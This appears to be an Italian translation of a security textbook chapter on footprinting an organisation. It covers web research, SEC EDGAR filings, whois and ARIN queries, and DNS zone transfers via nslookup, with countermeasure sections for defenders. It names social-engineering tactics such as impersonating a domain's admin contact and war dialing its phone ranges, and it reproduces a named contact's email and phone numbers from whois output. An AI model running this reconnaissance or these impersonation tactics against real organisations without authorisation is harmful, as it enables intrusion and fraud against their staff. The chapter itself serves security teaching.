Il footprinting sistematico di un'organizzazione consente all'hacker di ricostruire il profilo del suo livello di protezione. Utilizzando una combinazione di strumenti e tecniche, l'hacker riesce a restringere la ricerca su un numero imprecisato di elementi (la connessione a Internet della Widget Company) a uno specifico intervallo di nomi di dominio, blocchi di rete e ai singoli indirizzi IP dei sistemi direttamente collegati a Internet. Esistono numerose tecniche di footprinting, ma tutte hanno come obiettivo principale la ricerca di informazioni su queste tecnologie: Internet, Intranet, accesso remoto ed Extranet. La Tabella 1.1 elenca queste tecnologie e le informazioni critiche che un hacker è interessato a raccogliere.
Il footprinting assicura la raccolta sistematica e metodica di tutte le informazioni disponibili sulle tecnologie elencate nella tabella. Senza il supporto di una procedura collaudata per questo tipo di ricognizione, probabilmente sfuggirebbero elementi chiave delle informazioni relative a una particolare tecnologia o struttura.

Tabella 1.1 Tecnologie e informazioni critiche che un hacker deve cercare di raccogliere

Tecnologia	**Informazioni**
Internet	Nomi di dominio Blocchi della rete Indirizzi IP dei sistemi raggiungibili da Internet Servizi TCP e UDP in esecuzione su ciascuno dei sistemi identificati Architettura di sistema (per esempio, SPARC piuttosto che X86) Meccanismi di controllo degli accessi e relativi elenchi (ACL, *Access Control List*) Sistemi di intercettazione delle intrusioni (IDSes) Enumerazione del sistema (nomi utente e di gruppo, messaggi di sistema, tabelle di instradamento, informazioni SNMP)
Intranet	Protocolli di rete utilizzati (per esempio, IP, IPX, DecNET ecc.) Nomi di dominio interni Blocchi di rete Indirizzi IP specifici di sistemi raggiungibili sulla Intranet Servizi TCP/UDP in esecuzione su ciascuno dei sistemi individuati Architettura di sistema (per esempio SPARC, piuttosto che X86) Meccanismi di controllo degli accessi e relativi elenchi (ACL, *Access Control List*) Sistemi di intercettazione delle intrusioni (IDS) Enumerazione del sistema (nomi utente e di gruppo, messaggi di sistema, tabelle di instradamento, informazioni SNMP)
Accesso remoto	Numeri delle linee telefoniche analogiche/digitali Tipo di sistema remoto Meccanismi di autenticazione VPNs e protocolli correlati (IPSEC, PPTP)
Extranet	Fonte e destinazione della connessione Tipo di connessione Meccanismi di controllo degli accessi

Il footprinting è spesso la fase più difficile del tentativo di determinare il livello di protezione di un'organizzazione, ma è sicuramente quella più importante; per questo motivo dev'essere eseguita con scrupolo e in modalità controllata.

Footprinting di Internet

Nonostante le tecniche di footprinting siano più o meno le stesse per le diverse tecnologie (Internet e Intranet), in questo capitolo ci concentreremo sullo studio delle connessioni di una struttura a Internet. L'accesso remoto verrà illustrato dettagliatamente nel Capitolo 8. È difficile delineare una procedura di footprinting precisa, da seguire passo passo, poiché si tratta di un'attività con innumerevoli varianti. Tuttavia, in questo capitolo illustreremo alcuni passaggi fondamentali, che dovrebbero permettervi di completare un'analisi rigorosa del profilo dell'obiettivo. Molte di queste tecniche sono applicabili anche alle tecnologie citate in precedenza.

Passaggio 1: delimitazione dell'ambito d'azione

Per prima cosa, è necessario stabilire i confini per le attività di footprinting. Volete ricostruire il profilo dell'intera azienda o piuttosto limitare la ricerca ad alcune aree (per esempio, la sede centrale o una particolare filiale)? In certi casi, l'identificazione di tutte le entità correlate con l'obiettivo può rivelarsi un'impresa titanica. Fortu-

natamente, però, Internet mette a disposizione un ricco arsenale di risorse che consente di restringere il raggio d'azione, oltre a fornire una serie di informazioni sull'obiettivo e i suoi dipendenti.

Ricerca libera

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*2*
Fattore di rischio:	*7*

Come punto di partenza, sfruttate l'eventuale pagina Web dell'obiettivo. Spesso le pagine Web delle aziende contengono una quantità inimmaginabile di informazioni che possono risultare utili a un hacker. Personalmente, abbiamo trovato aziende che pubblicavano direttamente sul server Web Internet le opzioni di configurazione della protezione del proprio sistema di firewall. Altri elementi interessanti sono:

- sedi;
- società o soggetti collegati;
- informazioni su fusioni e acquisizioni;
- numeri telefonici;
- nomi e indirizzi e-mail di contatti;
- politiche di tutela della privacy o di protezione in cui sia indicato il tipo di meccanismo di sicurezza adottato;
- collegamenti ad altri server Web legati all'azienda.

Inoltre, provate a cercare nei sorgenti HTML eventuali commenti. Spesso informazioni non destinate alla fruizione pubblica sono nascoste nei tag HTML di commento, come "<", "!" e "- -". Poiché è più veloce visualizzare il codice sorgente offline che non online, è conveniente replicare l'intero sito per la visualizzazione offline. Disporre di una copia locale del sito consente di eseguire ricerche programmatiche di commenti o di altri elementi di interesse, rendendo le attività di footprinting più efficienti. `wget` (`http://www.gnu.org/software/wget/wget.html`) per UNIX e Teleport Pro (`http://www.tenmax.com/teleport/pro/home.htm`) per Windows sono ottime utilità di replica di interi siti Web.

Dopo aver studiato le pagine Web, potete provare a effettuare una ricerca libera su informazioni riguardanti il vostro obiettivo. Notizie, comunicati stampa e simili possono rivelare ulteriori indizi circa lo stato della struttura e il suo livello di protezione. Siti Web come `finance.yahoo.com` o `http://www.companysleuth.com` rappresentano una miniera di informazioni. Se la società che state analizzando ha una presenza importante su Internet, potreste trovare articoli di cronaca in cui si parla di problemi di sicurezza verificatisi in passato. Il vostro motore di ricerca preferito dovrebbe essere più che sufficiente in questa fase (`www.google.com` andrà benissimo). Un'alternativa gratuita per effettuare ricerche su diversi motori è `http://www.dogpile.com`.

Spesso una ricerca su USENET di messaggi riguardanti `@obiettivo.com` può permettere di rilevare informazioni utili. Per esempio, una volta abbiamo trovato un messaggio proveniente dall'account di lavoro di un amministratore di sistema a proposito del nuovo sistema PBX: diceva di non conoscerlo bene e di non sapere come disattivare gli account e le password predefiniti. Ci vengono i brividi a pensare alla quantità di persone che speravano di sfruttare quella società per telefonare gratuita-

mente. È scontato sottolineare che per ricavare ulteriori indizi sull'organizzazione e la competenza dello staff di una società è sufficiente rileggere i messaggi.
Infine, potete sfruttare le funzionalità di ricerca avanzata offerte da alcuni dei principali motori di ricerca, come AltaVista o Google, che permettono, per esempio, di cercare tutti i siti contenenti collegamenti al dominio del vostro obiettivo. Potrebbe sembrare del tutto inutile, ma considerate le implicazioni: supponete che qualcuno che fa parte della struttura decida di realizzare un sito pirata a casa propria o all'interno della rete del vostro obiettivo. Questo server Web potrebbe non essere del tutto sicuro o approvato dalla società. Un buon punto di partenza per risalire a possibili siti di questo genere è stabilire quali siano quelli contenenti collegamenti diretti al server dell'obiettivo, come mostrato nella Figura 1.1.

AltaVista - Web Results for: link www.l0pht.com and hacking - Microsoft Internet Explorer
File Edit View Favorites Tools Help
Back Forward Stop Refresh Home Search Favorites History Mail Print Edit Discuss Real.com
Address http://www.altavista.com/sites/search/web?q=link%3Awww.l0pht.com+and+hacking%0D%0A&kl=XX&r=&d2=0&d0=&d1=&nbq=10&pg=aq&search=Search

altavista Try your search in: Shopping • Images • Video • MP3/Audio • News
Boolean query: Help | Customize Settings | Family Filter is off
link:www.l0pht.com and hacking
any language Search
Sort by:
More Advanced Search Options Search Assistant | Basic Search

Home > Advanced Search > Search Results for link:www.l0pht.com and hacki... , page 1 of 20

We found 2,424 results:
sidr -- Developed: Software Development links + more [last page visited]
Systematized. Personalized. Networked. Discovery. Engineered. Developed. Practiced. Web Dev. SW Dev. App Dev. Server Dev. Linux Dev. OpenSrc Dev....
URL: http://www.albedo.net/~sidr/index.swdev.html • Translate
Additional relevant pages from this site

Dr. Martinus - Bugs in Microsoft Products
This page lists a number of serious bugs which are severely compromising security and were found in fully released Microsoft software.
URL: http://www.drmartinus.de/theses/fmsbugs.htm • Translate
Additional relevant pages from this site

Additional AS/400 Security links...
AS/400 Security More Stuff. More InfoSecurity Stuff... AS/400 Security Vendors. Patrol 400- A security reporting and audit tool, from Focus...
URL: http://home.earthlink.net/~vleveque/page2.html • Translate
Additional relevant pages from this site

hackinthebox.org - hackinthebox.org
Search(from securityfocus.com) All. Advisories. Announcements. Calendar. Focus Areas (all) -- Focus on Incidents. -- Focus on IDS. -- Focus on Linux...
http://www.albedo.net/~sidr/index.swdev.html Internet

Figura 1.1
Con il motore di ricerca AltaVista potete utilizzare come filtro il link www.l0pht.com, per visualizzare tutti i siti con riferimenti al dominio target.

La ricerca ha identificato tutti i siti con collegamenti a `www.l0pht.com` contenenti la parola "hacking". Allo stesso modo è possibile trovare i siti collegati al dominio che avete come obiettivo.
L'ultimo esempio, riportato nella Figura 1.2, consente di restringere la ricerca a un sito specifico. In questo caso si sono cercate tutte le occorrenze di mudge all'interno di `http://www.l0pht.com`. Modificare questa interrogazione per cercare altri elementi di interesse è tutt'altro che complesso.

Figura 1.2

Con AltaVista, la direttiva host:www.l0pht.com consente di interrogare il sito relativamente alla stringa specificata (per esempio mudge).

Ovviamente, in questi esempi abbiamo considerato solo una minima parte delle informazioni che potreste cercare nei vostri viaggi: siate creativi. A volte è proprio la ricerca più improbabile a offrire i risultati migliori.

Ricerche su EDGAR

Se il vostro obiettivo è una società quotata pubblicamente, potete consultare il database EDGAR di SEC (*Securities and Exchange Commission*), che si trova all'indirizzo `http://www.sec.gov`, come mostrato nella Figura 1.3.
Uno dei maggiori problemi che le aziende si trovano ad affrontare è la gestione delle connessioni a Internet, in particolare durante i processi di fusione o acquisizione di altre entità. Per questo è importante concentrarsi su eventuali nuove acquisizioni. Due delle pubblicazioni più interessanti di SEC sono la 10-Q e la 10-K: la prima rappresenta un'istantanea di quello che l'azienda ha realizzato nell'ultimo trimestre, comprese eventuali acquisizioni o dismissioni; la seconda è un aggiornamento annuale delle attività dell'azienda e potrebbe non essere attuale quanto la 10-Q. È consigliabile studiare questi documenti, cercando riferimenti a consociate e simili, da cui ricavare informazioni su società acquisite di recente. Spesso le aziende si fanno prendere dalla fretta di collegare le nuove arrivate alla propria rete, trascurando la sicurezza, quindi non è raro trovare nella struttura di protezione della società acquisita punti deboli che consentono di accedere alla società madre. In fin dei conti,

Figura 1.3
Il database EDGAR consente la ricerca di documenti pubblici: osservando i collegamenti ci si può rendere conto delle dimensioni di un'organizzazione.

gli hacker sono opportunisti e con ogni probabilità sfrutteranno la confusione che normalmente accompagna la fusione di due reti.
Nel caso delle ricerche su EDGAR, ricordate che state cercando riferimenti a nomi di società diversi da quello dell'azienda principale. Questo si rivelerà determinante nei passaggi successivi (si veda "Passaggio 2: enumerazione della rete"), quando effettuerete interrogazioni sui diversi database whois disponibili.

Contromisura: controllo dei dati disponibili al pubblico

La maggior parte delle informazioni presentate fino a questo punto deve essere resa pubblica, in particolare nel caso di società quotate sul mercato. Tuttavia, è importante valutare e classificare il tipo di informazioni distribuite. La Guida alla sicurezza del sito (*Site Security Handbook*, RFC 2196) è disponibile all'indirizzo `http:// www.faqs.org/rfcs/rfc2196.html` ed è una straordinaria fonte di informazioni per molte problematiche legate alla politica di sicurezza. Per finire, eliminate dalle pagine del vostro sito Web qualsiasi informazione non strettamente necessaria che potrebbe aiutare un hacker ad accedere alla vostra rete.

Passaggio 2: enumerazione della rete

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*5*
Fattore di rischio:	*8*

Il primo passo nel processo di enumerazione della rete consiste nell'identificare i nomi di dominio collegati a una specifica organizzazione e le relative reti. I nomi di dominio rappresentano la presenza della società su Internet e sono l'equivalente del nome dell'azienda: per esempio, `AAAApainting.com` e `moetavern.com`.
Per catalogare questi domini e iniziare a identificare le reti che vi si collegano è necessario effettuare ricerche su Internet. Esistono numerosi database whois, dai quali è possibile ottenere una quantità impressionante di informazioni su ciascuna delle organizzazioni di cui si sta cercando di ricostruire il profilo. Prima della fine del 1999, Network Solutions deteneva il monopolio come organismo principale per la registrazione dei domini (com, net, edu e org) e manteneva queste informazioni sui suoi server whois.
Attualmente la situazione è diversa ed esistono tantissimi organismi accreditati per la registrazione di domini (`http://www.internic.net/alpha.html`), ciascuno dei quali aggiunge nuovi passaggi nella ricerca dei nostri obiettivi (si veda il paragrafo "Indagine sul registrar" più avanti in questo capitolo), in quanto sarà necessario interrogare il registrar corretto per ottenere le informazioni di nostro interesse.
La Tabella 1.2 riporta numerosi strumenti che possono essere utilizzati per interrogare i diversi database whois. Tuttavia, le informazioni restituite sono sempre le stesse, indipendentemente dal metodo utilizzato.

Tabella 1.2 Strumenti e fonti dati per ricerche whois

Strumento	**Risorse**	**Piattaforma**
Interfaccia Web	`http://www.networksolutions.com/` `http://www.arin.net`	Qualsiasi piattaforma con un client Web
Client whois	`whois` è incluso nella maggior parte delle versioni di UNIX. `fwhois` è stato sviluppato da Chris Cappuccio `<ccappuc@santafe.edu>`	UNIX
WS Ping ProPack	`http://www.ipswitch.com/`	Windows 95/NT/2000
Sam Spade	`http://www. samspade.org/ssw`	Windows 95/NT/2000
Sam Spade Web	`http://www.samspade.org/`	Qualsiasi piattaforma con un client Web
Netscan	`http://www.netscantools.com/nstpromain.html`	Windows 95/NT/2000
Xwhois	`http://c64.org/-nr/whois/`	UNIX con X e il toolkit GUI GTK+

La Tabella 1.3 contiene un elenco di altri server whois che possono risultare utili quando si ricercano domini diversi da com, net, edu o org. Un'altra preziosa fonte di informazioni, specialmente per trovare server whois al di fuori degli Stati Uniti, è `www.allwhois.com`. Questa è una delle risorse whois più complete disponibili su Internet.

Tabella 1.3 Fonti di database whois di governi, eserciti e società internazionali

Server whois	Indirizzo
European IP Address Allocations	`http://whois.ripe.net`
Asia Pacific IP Address Allocations	`http://whois.apnic.net`
U.S. Military	`http://whois.nic.mil`
U.S. Government	`http://whois.nic.gov`

Con ogni interrogazione è possibile raccogliere nuove informazioni. Fondamentalmente, la maggior parte delle informazioni utilizzate dagli hacker per preparare un attacco rientra in quattro classi di interrogazioni.

- Registrar: riporta tutte le informazioni disponibili su uno specifico registrar e i server whois associati.
- Organizzazione: riporta tutte le informazioni disponibili su una specifica organizzazione.
- Dominio: riporta tutte le informazioni disponibili su uno specifico dominio.
- Rete: riporta tutte le informazioni disponibili su una specifica rete o indirizzo IP.
- Punto di contatto (POC, *Point of Contact*): riporta tutte le informazioni disponibili su una specifica persona, di solito un amministratore.

Indagine sul registrar

Con l'avvento del sistema di registrazione condivisa (ovvero, registrar multipli), è necessario consultare il server `whois.crsnic.net` per ottenere l'elenco dei potenziali domini che corrispondono al nostro obiettivo e le informazioni di registrar associate. È necessario determinare il registrar corretto per poter inviare interrogazioni dettagliate al database corretto in passaggi successivi. Nel nostro caso utilizzeremo come obiettivo Tellurian Networks ed effettueremo l'interrogazione da una shell di comando UNIX (Red Hat 6.2). Nella versione di `whois` che utilizziamo, l'opzione @ permette di specificare un database alternativo. Alcuni client `whois` di derivazione BSD (per esempio, OpenBSD o FreeBSD) consentono di utilizzare l'opzione `-a` per specificare il database alternativo. Per ulteriori informazioni su come inviare interrogazioni `whois` dal client `whois`, utilizzate il comando `man whois`.
Quando si esegue questa ricerca è conveniente utilizzare un carattere jolly in quanto fornisce risultati aggiuntivi. Utilizzando il punto (`.`) dopo tellurian, vengono elencate tutte le occorrenze dei domini che iniziano con tellurian, invece dei domini che corrispondono esattamente alla stringa tellurian:

```
[bash]$ whois "tellurian."@whois.crsnic.net
[whois.crsnic.net]
Whois Server Version 1.3

Domain names in the .com and .net domains can now be registered with many
different competing registrars. Go to http://www.internic.net for detailed
information.

TELLURIANTECH.COM
TELLURIANSTUDIOS.COM
TELLURIANSOFTWARE.COM
TELLURIANSERVICES.COM
TELLURIANS.COM
TELLURIANMEDIA.COM
```

```
TELLURIANIS.COM
TELLURIANINC.COM
TELLURIANGROUP.ORG
TELLURIANGROUP.NET
TELLURIANGROUP.COM
TELLURIANENGINEERING.COM
TELLURIANCOSMETICS.COM
TELLURIANCENTRAL.NET
TELLURIANAGROUP.COM
TELLURIAN.ORG
TELLURIAN.NET
TELLURIAN.COM
TELLURIAN-ONLINE.COM
TELLURIAN-INTERACTIVE.COM
TELLURIAN-INC.COM
TELLURIAN-COFEDERATION.ORG

[bash]$ whois "tellurian.net"@whois.crsnic.net
[whois.crsnic.net]

Whois Server Version 1.3

   Domain Name: TELLURIAN.NET
   Registrar: BULKREGISTER.COM, INC.
   Whois Server: whois.bulkregister.com
   Referral URL: http://www.bulkregister.com
   Name Server: GATE.TELLURIAN.NET
   Name Server: NTBOX.TELLURIAN.NET
   Name Server: DNS3.TELLURIAN.NET

   Updated Date: 05-nov-2001
```

Indagine sull'organizzazione

L'indagine sull'organizzazione è stata un metodo molto utilizzato per ricercare le istanze del nome di una determinata organizzazione, in quanto più generico della ricerca di uno specifico nome di dominio. I lettori delle precedenti edizioni di questo volume avranno sicuramente utilizzato questo tipo di indagine per anni, tuttavia questa funzionalità attualmente non è più disponibile: Network Solutions ha deciso di eliminarla per limitare il fenomeno dello spamming, diventato nel tempo un problema di dimensioni sempre maggiori, giustificandosi dicendo che "tali modifiche sono state ritenute necessarie al fine di conciliare l'entità e la tipologia delle ricerche. Il servizio WHOIS è stato in questo modo messo in condizione di gestire e prevenire il suo eventuale utilizzo improprio".

Indagine sui domini

Basandoci sulla nostra indagine sull'organizzazione, cercheremo ulteriori dettagli relativi a tellurian.net:

```
bash]$ whois tellurian.net@whois.bulkregister.com

Tellurian Networks, Inc.
   172 Spring Street
   Newton, NJ 07860
   US
```

```
Domain Name: TELLURIAN.NET

Administrative Contact::
     The Tellurian Hostmaster: robert@tellurian.net
     Tellurian Networks, Inc.
     172 Spring Street
     Newton, NJ 07860
     US

     Phone:: 973-300-9211
     Fax:: 973-579-3643

Technical Contact::
     The Tellurian Hostmaster: robert@tellurian.net
     Tellurian Networks, Inc.
     172 Spring Street
     Newton, NJ 07860
     US

     Phone:: 973-300-9211
     Fax:: 973-579-3643

Record updated date on: 2001-10-02 16:18:27
Record created date on: 1998-10-09
Record will be expiring on date: 2005-10-08
Database last updated on: 2002-11-10 16:00:10 EST

Domain servers in listed order:

DNS3.TELLURIAN.NET              216.182.4.5
GATE.TELLURIAN.NET              216.182.1.1
NTBOX.TELLURIAN.NET             216.182.1.2
```

Questo tipo di interrogazione fornisce informazioni relative ai seguenti elementi:

- il soggetto registrato (registrant);
- il nome del dominio (domain name);
- il contatto amministrativo (administrative contact);
- la data di creazione (created) e di ultima modifica (last updated) del record;
- i server DNS primari e secondari.

A questo punto dovete liberare il cybersegugio che è in voi: analizzate le informazioni alla ricerca di indizi significativi. Nel nostro linguaggio, definiamo l'eccesso o una fuga di informazioni come "invito", nel senso che rappresentano uno stimolo per l'hacker a focalizzare con maggior precisione il proprio attacco. Esaminando le informazioni sul soggetto registrato, possiamo verificare se il dominio appartiene effettivamente all'entità che ci interessa. Sappiamo che la Tellurian Networks ha sede in New Jersey, quindi possiamo concludere che queste informazioni sono pertinenti. Ricordate che la localizzazione del soggetto registrato non deve necessariamente corrispondere con la sua sede fisica. Molte società possono avere più sedi geografiche, ciascuna dotata di una propria connessione a Internet; tuttavia, le diverse sedi potrebbero essere registrate sotto un'unica entità. In altri casi potrebbe essere necessario verificare che la località specificata sia effettivamente legata alla società. Il nome di dominio è identico a quello utilizzato per eseguire l'interrogazione.

Il contatto amministrativo, invece, rappresenta un'informazione molto importante, poiché potrebbe identificare la persona responsabile della connessione a Internet o del firewall; inoltre, riporta numeri telefonici e di fax. Queste informazioni sono estremamente utili se l'obiettivo della ricerca è realizzare un'infiltrazione via telefono: è sufficiente scatenare alcuni war dialer sull'intervallo di numeri specificato per identificare i numeri di modem. Inoltre, spesso l'intruso si presenta assumendo l'identità del contatto amministrativo, applicando nozioni di ingegneria sociale sugli ignari utenti della società. Un hacker potrebbe inviare a un utente ingenuo messaggi di posta elettronica contraffatti spacciandosi per il contatto amministrativo. È incredibile quante persone siano disposte a modificare la password nel modo indicato, se ritengono che la richiesta arrivi da una persona fidata del supporto tecnico.
Le date di creazione e modifica del record sono un indice dell'accuratezza delle informazioni. Se il record è stato creato cinque anni fa e non è stato mai aggiornato, con ogni probabilità alcune delle informazioni (per esempio, l'identità del contatto amministrativo) potrebbero essere obsolete.
L'ultimo dato consente di identificare i server DNS: il primo che compare nell'elenco è il server DNS primario, quelli successivi sono il secondario, terziario e così via. Queste informazioni risulteranno utili per l'interrogazione del DNS, che affronteremo nel prosieguo del capitolo. L'intervallo di "indirizzi" riportati nell'elenco può essere inoltre utilizzato come punto di partenza per l'interrogazione del database ARIN sulla rete.

Indagine sulla rete

ARIN (*American Registry for Internet Numbers*) è un altro database che può essere utilizzato per determinare le reti associate al dominio di interesse. Questo database contiene le informazioni relative ai blocchi di rete specifici posseduti dall'organizzazione. Questo tipo di indagine è particolarmente importante per stabilire se il nostro obiettivo è effettivamente il proprietario di un sistema oppure è controllato da un'altra organizzazione, quale un ISP.
Nel nostro esempio, possiamo provare a determinare tutte le reti controllate da Tellurian Networks. L'interrogazione del database ARIN è particolarmente facile, in quanto non soggetta alla limitazione dei cinquanta record implementata da Network Solutions. Notate l'utilizzo del carattere jolly "`.`":

```
bash]$ whois "Tellurian Net*"@whois.arin.net
[[whois.arin.net]

Tellurian Networks (TELL)
Tellurian Networks (formerly GardenNetworks) (GNNT)
Tellurian Networks (AS10848) TELLURIAN-AS    10848
Tellurian Networks TN-1-NET (NET-216-182-0-0-1) 216.182.0.0 -
➥216.182.63.255
Tellurian Networks (formerly GardenNetworks) GN-3-BLK (NET-66-97-0-0-1)
➥66.97.0.0 - 66.97.15.255
```

È possibile inviare un'interrogazione maggiormente specifica basata su un particolare blocco di rete (10.10.10.0):

```
[bash]$ whois 216.182.0.0@whois.arin.net
[[whois.arin.net]

OrgName:    Tellurian Networks
OrgID:      TELL
```

```
NetRange:    216.182.0.0 - 216.182.63.255
CIDR:        216.182.0.0/18
NetName:     TN-1-NET
NetHandle:   NET-216-182-0-0-1
Parent:      NET-216-0-0-0-0
NetType:     Direct Allocation
NameServer: GATE.TELLURIAN.NET
NameServer: NTBOX.TELLURIAN.NET
NameServer: DNS3.TELLURIAN.NET

Comment:
RegDate:     2001-02-28
Updated:     2001-02-28

TechHandle: RB590-ARIN
TechName:    Boyle, Robert
TechPhone:   +1-973-300-9211
TechEmail:   robert@tellurian.net
```

ARIN offre un pratico sistema di interrogazione tramite Web, come mostrato nella Figura 1.4. Analizzando il risultato, si nota come Tellurian Networks disponga dello spazio di rete da 216.182.0.0 a 216.182.63.255.

Figura 1.4

Uno dei modi più comodi per interrogare il database ARIN è utilizzare il relativo sito Web.

Indagine sui POC

È consigliabile effettuare un'indagine di tipo POC (*Point Of Contact*) per ricercare, all'interno del database ARIN, informazioni addizionali su un determinato punto di contatto. Nell'esempio preso in considerazione (Figura 1.5) abbiamo ricercato nel dominio `www.arin.net` l'indirizzo e-mail `robert@tellurian.net`, che avevamo trovato tra i contatti nel corso dell'indagine sul dominio portata a termine in precedenza, all'interno delle informazioni amministrative. In questo caso, `robert@tellurian.net` non risulta essere un POC in nessun altro dominio, tuttavia può accadere che una ricerca di questo tipo restituisca un elenco di domini che non avete mai sentito nominare. Potete inoltre effettuare ricerche generiche del tipo "@nome_azienda", che vi mostreranno tutte le persone che hanno un indirizzo di posta elettronica gestito dal dominio che state ricercando.

```
.com is a domain of USA & International Commercial
Searches for .com can be run at http://rs.internic.net/cgi-bin/wh

whois -h whois.internic.net born.com ...

Registrant:
Some Company, Inc.(SOMECOMPANY-DOM)
   111 Grant Ave.
   Springfield, TX 12345
   US

   Domain Name: SOMECOMPANY.COM

   Administrative Contact:
      Smith, Mike (MS0000) msmith@somecompany.com
      123-456-7890 (FAX) 123-456-7891
   Technical Contact, Zone Contact:
      Smith, Mike (MS0000) msmith@somecompany.com
      123-456-7890 (FAX) 123-456-7891
   Billing Contact:
      Smith, Mike (MS0000) msmith@somecompany.com
      123-456-7890 (FAX) 123-456-7891
   Record last updated on 03-Dec-98.
   Record created on 31-Jan-95.
   Database last updated on 27-Jun-99 08:17:22 EDT.

   Domain servers in listed order:

   NS-01A.BIGISP.COM   172.29.11.1
   NS-01B.BIGISP.COM   172.29.11.2
```

Figura 1.5

Mediante www.arin.net è possibile effettuare una ricerca delle informazioni più importanti su un punto di contatto (POC).

Contromisura: controllo dei dati disponibili al pubblico

Molte delle informazioni contenute nei diversi database presentati hanno carattere pubblico. I contatti amministrativi, i blocchi di rete registrati e le informazioni sui server dei nomi di riferimento devono essere specificati quando un'organizzazione registra un dominio su Internet. Tuttavia, esistono alcune precauzioni che permettono di ostacolare il lavoro dei possibili hacker.
Molto spesso un contatto amministrativo riesce a modificare le informazioni sul dominio anche dopo aver lasciato la società. Quindi, il primo aspetto da verificare è che le informazioni riportate nel database siano corrette. Aggiornate appena possibile le informazioni sui contatti amministrativo, tecnico e contabile. Inoltre, dovete prestare attenzione ai numeri di telefono riportati, in quanto possono essere utilizzati come punto di partenza per un'intrusione telefonica oppure a scopo d'ingegneria sociale. Valutate l'ipotesi di specificare un numero verde o che non rientri nell'intervallo associato alla vostra azienda. In certi casi, alcune aziende hanno scelto di dichiarare un contatto amministrativo fittizio, nella speranza di trarre in inganno gli aspiranti truffatori: nel caso in cui riceva un messaggio o una telefonata a nome del falso contatto, un dipendente può così avvisare i servizi di sicurezza interni dell'esistenza di un possibile problema.
Un altro rischio connesso alla registrazione dei domini è dovuto alle modalità di aggiornamento consentite da alcuni registrar. Per esempio, l'attuale implementazione di Network Solutions prevede la possibilità di modificare online le informazioni sul dominio in modo automatico. Network Solutions verifica l'identità del soggetto che ha registrato il dominio in tre modi diversi: il campo FROM di un e-mail, una password o con una chiave PGP (*Pretty Good Privacy*). Sorprendentemente, il metodo standard di autenticazione è quello più diffuso e comporta enormi implicazioni a livello di sicurezza. In realtà, chiunque è in grado di costruire un indirizzo di posta elettronica e modificare le informazioni associate al vostro dominio (meglio conosciuto con il nome di *dirottamento del dominio*). È esattamente quello che è successo a AOL (*America On Line*) il 16 ottobre 1998, come ha riportato il *Washington Post*: qualcuno, spacciandosi per un responsabile di AOL, ha modificato le informazioni sul dominio in modo che tutto il traffico venisse dirottato su `autonete.net`. AOL è riuscita a ripristinare la normalità in tempi brevi, ma l'episodio serve a sottolineare quanto sia fragile la presenza di un'organizzazione su Internet. È fondamentale optare per una soluzione più sicura, come l'autenticazione basata su password o chiave PGP, per la modifica delle informazioni domain. Inoltre, spetta al contatto amministrativo o tecnico stabilire il meccanismo di autenticazione, utilizzando il modulo contatti (Contact Form) di Network Solutions.

Passaggio 3: interrogazione del DNS

Una volta identificati tutti i domini associati, si può procedere all'interrogazione del DNS, un database distribuito che viene utilizzato per gestire la corrispondenza tra indirizzi IP e nomi host e viceversa. Se il DNS non è adeguatamente protetto, è possibile ricavare informazioni preziose sull'organizzazione.

Trasferimento di zona

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*3*
Fattore di rischio:	*7*

Consentire a utenti Internet non affidabili di effettuare un trasferimento delle zone DNS è uno degli errori di configurazione più gravi che un amministratore di sistema possa commettere.

Un *trasferimento di zona* consente a un server master secondario di aggiornare il proprio database di zona rispetto al master primario. Questa operazione tiene conto di un certo livello di ridondanza del sistema DNS, in caso di guasti o interruzioni nel server dei nomi principale. In generale, l'operazione di trasferimento di zona dovrebbe essere richiesta solo da server DNS master secondari. Tuttavia, molti server DNS vengono configurati in modo errato, così da fornire una copia della zona a chiunque la richieda. Questo non è necessariamente un male, se le uniche informazioni trasmesse riguardano sistemi collegati a Internet e associati a nomi host validi; tuttavia, può semplificare la ricerca di possibili bersagli da parte di un hacker. I veri problemi insorgono quando l'organizzazione non utilizza un meccanismo di DNS pubblico/privato per separare le proprie informazioni DNS esterne, che sono pubbliche, da quelle interne, private. In questo caso, i nomi degli host e gli indirizzi IP interni risultano visibili all'hacker. Consentire a un utente Internet non affidabile di ottenere informazioni sugli indirizzi IP interni è un po' come permettergli di consultare il progetto della rete aziendale interna.

Vediamo alcuni metodi che consentono di effettuare il trasferimento di zona e quali informazioni si riescono a ottenere. Gli strumenti utilizzabili a questo scopo sono numerosi, ma in questa sede ci limiteremo a considerare solo quelli più comuni.

Per effettuare un trasferimento di zona, è sufficiente utilizzare il client `nslookup` disponibile nella maggior parte delle implementazioni di UNIX e Windows NT. `nslookup` può essere utilizzato in modo interattivo, come mostrato di seguito:

```
[bash]$ nslookup
Default Server:  ns1.example.net
Address:  10.10.20.2
> 216.182.1.1
Server:  ns1.example.net
Address:  10.10.20.2
Name:    gate.tellurian.net
Address:  216.182.1.1

> set type=any
> ls -d Tellurian.net. >> /tmp/zone_out
```

Per prima cosa eseguiamo `nslookup` in modalità interattiva. Una volta avviato, il programma riporta il server dei nomi predefinito a cui fa riferimento, che normalmente corrisponde al server DNS dell'azienda o a un server DNS definito dal proprio ISP (*Internet Service Provider*). Tuttavia, il nostro server DNS (10.10.20.2) non è quello di riferimento per il dominio obiettivo, quindi non conterrà i record DNS che ci interessano. È necessario, quindi, specificare manualmente a `nslookup` quale ser-

ver DNS interrogare. In questo esempio vogliamo utilizzare il server DNS primario di Tellurian Networks (216.182.1.1), che abbiamo identificato durante la ricerca whois sul dominio completata in precedenza.
A questo punto impostiamo come tipo di record *any* (qualsiasi), per recuperare tutti i record DNS disponibili (per maggiori informazioni: `man nslookup`).
Infine, utilizziamo l'opzione `ls` per elencare tutti i record associati al dominio. Il parametro `-d` restituisce l'elenco di tutti i record relativi al dominio. Al termine viene aggiunto un carattere "`.`" per specificare che il nome di dominio è completamente qualificato, anche se questo non è sempre richiesto. L'output del comando viene scaricato nel file `/tmp/zone_out`, per consentire successive elaborazioni.
Al termine del trasferimento di zona, possiamo consultare il file alla ricerca di informazioni utili che permettano di inquadrare meglio specifici sistemi. Di seguito è mostrata una simulazione dell'output, dal momento che le reti Tellurian non ammettono trasferimenti di zona:

```
[bash]$ more zone_out
acct18                  1D IN A           192.168.230.3
                        1D IN HINFO       "Gateway2000" "WinWKGRPS"
                        1D IN MX          0 tellurianadmin-smtp
                        1D IN RP          bsmith.rci bsmith.who
                        1D IN TXT         "Location:Telephone Room"
ce                      1D IN CNAME       aesop
au                      1D IN A           192.168.230.4
                        1D IN HINFO       "Aspect" "MS-DOS"
                        1D IN MX          0 andromeda
